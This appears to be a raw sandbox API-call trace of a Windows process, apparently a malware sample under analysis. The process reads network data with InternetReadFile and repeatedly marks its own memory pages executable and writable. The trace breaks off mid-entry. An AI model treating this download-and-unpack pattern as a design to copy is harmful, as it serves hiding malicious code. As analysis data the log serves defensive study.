0x1f5b4000 [0146.472] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.544] VirtualAlloc (lpAddress=0x1eff0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eff0000 [0146.546] VirtualAlloc (lpAddress=0x1f5b8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f5b8000 [0146.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xc994) returned 1 [0146.549] VirtualAlloc (lpAddress=0x1f004000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f004000 [0146.551] VirtualFree (lpAddress=0x1eff0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.552] VirtualAlloc (lpAddress=0x1f5c8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f5c8000 [0146.552] VirtualFree (lpAddress=0x1f010000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xd90) returned 1 [0146.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.585] VirtualFree (lpAddress=0x1f000000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.585] VirtualAlloc (lpAddress=0x0, dwSize=0x3a0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0146.586] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x39c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0146.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.651] VirtualFree (lpAddress=0x1f320000, dwSize=0x2b0000, dwFreeType=0x4000) returned 1 [0146.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.690] VirtualFree (lpAddress=0x1f238000, dwSize=0xe8000, dwFreeType=0x4000) returned 1 [0146.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.700] VirtualFree (lpAddress=0x1eff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.725] VirtualAlloc (lpAddress=0x1f320000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f320000 [0146.726] VirtualFree (lpAddress=0x1f5d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.727] VirtualAlloc (lpAddress=0x1ef80000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ef80000 [0146.727] VirtualAlloc (lpAddress=0x1ef80000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ef80000 [0146.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.730] VirtualAlloc (lpAddress=0x1ef7c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ef7c000 [0146.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.733] VirtualAlloc (lpAddress=0x1ef8c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ef8c000 [0146.734] VirtualFree (lpAddress=0x1f320000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0146.735] VirtualFree (lpAddress=0x1f320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.742] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f080000 [0146.742] VirtualAlloc (lpAddress=0x1f080000, dwSize=0x2dc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f080000 [0146.752] VirtualAlloc (lpAddress=0x1efa0000, dwSize=0xe0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1efa0000 [0146.755] VirtualFree (lpAddress=0x1ef9c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.817] VirtualFree (lpAddress=0x1ef80000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0146.817] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x3a0000, dwFreeType=0x4000) returned 1 [0146.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.845] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.863] VirtualAlloc (lpAddress=0x1f35c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f35c000 [0146.864] VirtualFree (lpAddress=0x1ef88000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0146.865] VirtualAlloc (lpAddress=0x0, dwSize=0x3d0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f440000 [0146.866] VirtualAlloc (lpAddress=0x1f440000, dwSize=0x2fc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f440000 [0146.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.890] VirtualAlloc (lpAddress=0x1f370000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0146.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.893] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, 